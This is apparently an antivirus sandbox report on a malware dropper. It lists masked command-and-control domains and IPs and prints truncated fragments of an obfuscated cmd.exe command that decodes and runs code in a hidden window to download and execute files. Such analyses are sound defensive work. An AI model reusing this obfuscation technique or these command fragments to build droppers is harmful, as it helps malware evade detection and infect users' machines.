Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' \c %ProgramData:~0,1%%ProgramData:~9,2% \V\C"set B8=hfXsnaMYjJGzljOuSi8bq'CpxWkZw(+{t3\Romd65AE-N0 9@1H=,.}7);yrc2Fg\eI4$:Dv&&for %a in (68;15;38;37;51;21;26;15;50;21;57;68;20;32;9;51;4;65;28;4...
Network activity
Connects to
- '16#.#43.7.179':80
- '13.##4.25.231':80
- 'ar####ctricnj.com':80
- 'ar####ctricnj.com':443
- 'pa####odra.com.br':80
TCP
HTTP GET requests
- http://ar####ctricnj.com/D
Other
- 'ar####ctricnj.com':443
UDP
- DNS ASK ar####ctricnj.com
- DNS ASK la##nat.ru
- DNS ASK pa####odra.com.br
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' \c %ProgramData:~0,1%%ProgramData:~9,2% \V\C"set B8=hfXsnaMYjJGzljOuSi8bq'CpxWkZw(+{t3\Romd65AE-N0 9@1H=,.}7);yrc2Fg\eI4$:Dv&&for %a in (68;15;38;37;51;21;26;15;50;21;57;68;20;32;9;51;4;65;28;4...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /V/C"set B8=hfXsnaMYjJGzljOuSi8bq'CpxWkZw(+{t3/Romd65AE-N0 9@1H=,.}7);yrc2Fg\eI4$:Dv&&for %a in (68;15;38;37;51;21;26;15;50;21;57;68;20;32;9;51;4;65;28;43;36;19;13;65;60;32;46;44;65;32;53;25;65...
